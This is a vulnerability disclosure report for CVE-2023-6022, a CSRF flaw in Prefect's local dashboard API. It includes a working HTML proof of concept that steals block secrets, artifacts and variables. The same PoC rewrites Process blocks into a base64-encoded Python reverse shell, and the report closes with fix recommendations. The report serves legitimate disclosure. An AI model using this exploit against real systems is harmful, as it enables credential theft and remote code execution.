Headline
CVE-2023-6022: Can use csrf to steal/modify block content, artifact content, variables possibly leading to RCE when the dashboard is running on a developers workstation in prefect
An attacker is able to steal secrets and potentially gain remote code execution via CSRF using the Prefect API.
Description
If you are running the dashboard locally there is no csrf/cors/no auth and therefore you are vulnerable to cross site request forgeries. Worse yet, the service is almost certainly at 127.0.0.1:4200, reducing any need for recon or brute force. CSRF/cors/lack of auth is also likely to be a issue on self hosted instances based on the lack of documentation about how to configure auth to function similar to the cloud version.
Proof of Concept
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Prefect cross site request POC</title>
<meta name="author" content="Joshua Bonnett">
<meta property="og:title" content="Prefect cross site request POC">
<meta property="og:description" content="A simple poc for prefect block data extraction ">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.7.0/jquery.min.js"></script>
</head>
<body>
<hr />
<h1> Stolen Block content:</h1>
<div class="block_content"> </div>
<h1> Stolen Artifact content:</h1>
<hr />
<div class="artifacts"> </div>
<hr />
<h1> Stolen variable content:</h1>
<hr />
<div class="vars"> </div>
<hr />
<h1> Notes:</h1>
Note that this wasn't sent anywhere, but it easily could have been sent with a second post to a server of my
choosing, and it need not be on its own page, it could be in a ad, 10 iframes deep on a common watering hole site.
Recommendation: actually enforce csrf header requirements, get rid of the "include_secrets" api flag.
<script>
fetch("http://127.0.0.1:4200/api/block_documents/filter", {
"headers": {
"accept": "application/json, text/plain, */*",
"content-type": "application/json",
},
"body": "{\"include_secrets\":true}",
"method": "POST",
"mode": "cors",
}).then(x => x.text()).then(y => $('div.block_content').html(y));
fetch("http://127.0.0.1:4200/api/artifacts/latest/filter", {
"headers": {
"accept": "application/json, text/plain, */*",
"content-type": "application/json",
},
"body": "",
"method": "POST",
"mode": "cors",
}).then(x => x.text()).then(y => $('div.artifacts').html(y));
fetch(" http://127.0.0.1:4200/api/variables/filter", {
"headers": {
"accept": "application/json, text/plain, */*",
"content-type": "application/json",
},
"body": "",
"method": "POST",
"mode": "cors",
}).then(x => x.text()).then(y => $('div.vars').html(y));
//***** Find process blocks and change them****//
fetch("http://127.0.0.1:4200/api/block_documents/filter", {
"headers": {
"accept": "application/json, text/plain, */*",
"content-type": "application/json",
},
"body": "{\"include_secrets\":true}",
"method": "POST",
"mode": "cors",
}).then(x => x.json()).then(function (data) {
data.forEach(element => {
if (element.block_type.name == "Process") {
fetch("http://127.0.0.1:4200/api/block_documents/" + element.id, {
"headers": {
"accept": "application/json, text/plain, */*",
"accept-language": "en-US,en;q=0.9",
"cache-control": "no-cache",
"content-type": "application/json",
"pragma": "no-cache",
"sec-ch-ua-mobile": "?0",
"sec-ch-ua-platform": "\"Linux\"",
"sec-fetch-dest": "empty",
"sec-fetch-mode": "cors",
"sec-fetch-site": "same-origin",
"sec-gpc": "1",
"x-prefect-ui": "true"
},
"referrer": "http://127.0.0.1:4200/blocks/block/e3129574-2094-4411-a685-5c327a0201df/edit",
"body": "{\"data\":{\"command\":[\"python\", \"-c\", \"import base64,sys;exec(base64.b64decode(sys.argv[1]))\", \"aW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMTI3LjAuMC4xIiw5MDAxKSk7W29zLmR1cDIocy5maWxlbm8oKSxmKWZvciBmIGluKDAsMSwyKV07cHR5LnNwYXduKCJzaCIp\"], \"stream_output\":true}, \"merge_existing_data\":false}",
"method": "PATCH"
});
}
});
});
</script>
</body>
</html>
Impact
Stealing or changing secrets from blocks(example: aws creds, azur cred blocks) Stealing or changing variables inputs from blocks/variables(example: remote file block,) Stealing any output data from artifacts(Example: output from ml runs)
Reverse shell is possible by changing any existing Process blocks to a reverse shell (set to localhost port 9001 in the Poc, but I could have it connect back over the internet), triggers when a flow that uses that block runs. I could add code to trigger a quick run on all flows to ensure connect back shell happens immediately but I leave that to the reader.
A very similar effect could happen within the docker container, Azure Container Instance Job, ECS Task, GCP Cloud Run Job and Kubernetes Job blocks if they are configured. I didn’t include them in the poc because of the complexity of setting them up in my dev env, but adapting the poc to each of these block types would be very simple.
I would recommend moving the configuration of those block types into flow code where it isnt updateable from the web, and it can be managed like code.
Occurrences
server.py L560
It is worth setting some limits in cors by default, it is a shame to have the middleware but have it wide open.
block_documents.py L80
Letting the api read block secrets just by asking for them with no extra auth really isn’t ideal. Server should enforce visibility rather than leaving it to the request
block_documents.py L52
Letting the api read block secrets just by asking for them with no extra auth really isn’t ideal. Server should enforce visibility rather than leaving it to the request